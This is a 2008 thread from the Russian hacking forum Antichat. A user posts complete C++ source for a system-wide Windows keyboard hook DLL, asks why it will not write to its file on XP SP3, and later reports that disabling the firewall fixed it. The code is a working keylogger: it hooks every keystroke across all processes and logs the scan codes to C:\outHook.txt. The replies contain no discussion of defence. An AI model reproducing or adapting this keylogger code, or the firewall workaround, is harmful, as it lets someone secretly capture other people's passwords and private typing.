Форум АНТИЧАТ

Форум АНТИЧАТ (https://forum.antichat.xyz/index.php)
-   С/С++, C#, Delphi, .NET, Asm (https://forum.antichat.xyz/forumdisplay.php?f=24)
-   -   Хуки и WinSP3 (https://forum.antichat.xyz/showthread.php?t=90130)

4p3 02.11.2008 14:18

Хуки и WinSP3
 
Столкнулся с проблемой, что простейший хук на клавиатуру не работает корректно на SP3. Тут же потестил на SP2 и все стало отлично работать? Что блокирует хук, если нет антивиря. Неужели встроенный фаервол работает?

Приведенный ниже код отказывался писать в файл.
Хотя все проверки выполнялись.

Код:

#include <windows.h>
#include <stdio.h>

#pragma data_seg(".SData")
static HHOOK hKey = 0;
static HANDLE hFile = INVALID_HANDLE_VALUE;
CRITICAL_SECTION cs;
#pragma data_seg()

DWORD __stdcall FileWrite(void *lpPoint);
LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam);

void StartHook(HINSTANCE hLib)
{
        hKey = SetWindowsHookEx(WH_KEYBOARD, (HOOKPROC) KeyboardProc, hLib, 0);
        hFile = CreateFile("C:\\outHook.txt",
                          GENERIC_WRITE,
                          FILE_SHARE_READ,
                          NULL,
                          CREATE_ALWAYS,
                          FILE_ATTRIBUTE_NORMAL,
                          NULL);
        InitializeCriticalSection(&cs);
        if (hKey == NULL)
                MessageBox(NULL, "Hook is not nested", "Error", MB_OK|MB_ICONERROR);
        if (hFile == INVALID_HANDLE_VALUE)
                MessageBox(NULL, "File is not created", "Error", MB_OK|MB_ICONERROR);
}

void RemoveHook()
{
        UnhookWindowsHookEx(hKey);
}

#pragma argsused
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fwdreason, LPVOID lpvReserved)
{
        if (fwdreason == DLL_PROCESS_DETACH || fwdreason == DLL_THREAD_DETACH)
                UnhookWindowsHookEx(hKey);
        return 1;
}
//---------------------------------------------------------------------------


DWORD __stdcall FileWrite(void *lpPoint)
{
        char szBuffer[100];
        ZeroMemory(szBuffer, 100);
        DWORD dwWritten = 0;
        DWORD *ScanCode = reinterpret_cast<DWORD*>(lpPoint);
        itoa(*ScanCode, szBuffer, 16);

        EnterCriticalSection(&cs);
                WriteFile(hFile, szBuffer, strlen(szBuffer), &dwWritten, NULL);
                WriteFile(hFile, "\n\r", 2, &dwWritten, NULL);
        LeaveCriticalSection(&cs);

        return 0;
}

LRESULT CALLBACK KeyboardProc(int code, WPARAM wParam, LPARAM lParam)
{
        DWORD IsDown, ScanCode;
        IsDown = !(lParam >> 31);
        ScanCode = lParam << 8;
        ScanCode >>= 24;


        if (IsDown && code == HC_ACTION)
        {
                CreateThread(NULL,
                            0,
                            FileWrite,
                            &ScanCode,
                            0,
                            0);

        }

        return 0;
}

Это код для CBuilder 6. Именно его я тестил на SP2 и SP3.

spider-intruder 02.11.2008 17:43

Ну В файл писать отказался а перехват то работает или нет?! На каком этапе затыкается код при сп3 ?

GALIAFF 02.11.2008 17:49

4p3, отладчик в руки.

4p3 02.11.2008 19:17

Отключил фаервол, стало работать.
Сейчас будем разбираться в чем дело и где блочимся.

4p3 02.11.2008 19:19

Цитата:

Сообщение от GALIAFF
4p3, отладчик в руки.

Это само собой, просто я хотел услышать мнение людей, которые уже сталкивались с этой проблемой и знают её корни.


Время: 12:54